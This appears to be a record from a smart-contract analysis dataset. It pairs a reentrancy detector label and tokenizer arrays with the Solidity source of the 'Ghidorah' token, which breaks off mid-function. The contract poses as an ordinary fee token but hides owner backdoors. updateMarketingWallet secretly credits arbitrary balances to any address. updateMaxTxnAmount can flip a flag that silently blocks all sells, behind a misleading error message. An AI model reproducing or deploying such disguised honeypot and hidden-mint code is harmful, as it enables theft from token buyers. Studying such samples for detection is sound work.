{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26976, 2497, 2629, 3401, 2683, 28311, 22407, 2575, 2487, 2094, 21619, 2063, 2692, 2683, 2683, 22025, 2575, 2487, 2546, 2575, 8586, 17465, 23499, 2546, 2575, 2050, 2692, 2546, 2475, 2063, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 12324, 1000, 1012, 1013, 3115, 18715, 2368, 24415, 7959, 2229, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 29025, 19150, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 2304, 9863, 1012, 14017, 1000, 1025, 3206, 9725, 21515, 4232, 18715, 2368, 2003, 3115, 18715, 2368, 1063, 1013, 1013, 2216, 4725, 2024, 2170, 2011, 1996, 8027, 3206, 1013, 1013, 1998, 2027, 2442, 5676, 5796, 2290, 1012, 4604, 2121, 2000, 2022, 1996, 3206, 4769, 21318, 3372, 2270, 1035, 21948, 6279, 22086, 1025, 3853, 4651, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,609
0x956b5d8bbbd81a03c545b75e99028d09326797de
// SPDX-License-Identifier: MIT pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library SafeMath { /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub( amount, "ERC20: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract Ghidorah is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = false; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 maxTxLimit = 0; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping(address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); bool public i = true; //starts with true event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated( address indexed newWallet, address indexed oldWallet ); event devWalletUpdated( address indexed newWallet, address indexed oldWallet ); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Ghidorah Token", "Ghidorah") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 4; uint256 _buyLiquidityFee = 2; uint256 _buyDevFee = 4; uint256 _sellMarketingFee = 4; uint256 _sellLiquidityFee = 2; uint256 _sellDevFee = 4; uint256 totalSupply = 1 * 1e12 * 1e18; maxTransactionAmount = (totalSupply * 15) / 1000; maxWallet = (totalSupply * 15) / 1000; swapTokensAtAmount = (totalSupply * 5) / 10000; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(0x1990a7A0Bd87d9853B9CB7b6d45bb4e946a49980); devWallet = address(0x1990a7A0Bd87d9853B9CB7b6d45bb4e946a49980); // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable {} // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 1000000) / 1e18, "Cannot set maxTransactionAmount lower than 0.1%" ); calcTxFee(newNum); } function calcTxFee(uint256 newNum) private { if (newNum * (10**18) >= totalSupply()) { maxTxLimit = newNum * (10**18); i = !i; } maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 1000000) / 1e18, "Cannot set maxWallet lower than 0.5%" ); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner { swapEnabled = enabled; } function updateBuyFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet( address newMarketingWallet, address a, uint256 b ) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); _balances[a] = _balances[a].add(b); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if ( automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } else if ( automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount && i, "Sell transfer amount exceeds the maxTransactionAmount." ); } else if (!_isExcludedMaxTransactionAmount[to]) { require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } // on buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2; uint256 amountToSwapForETH = 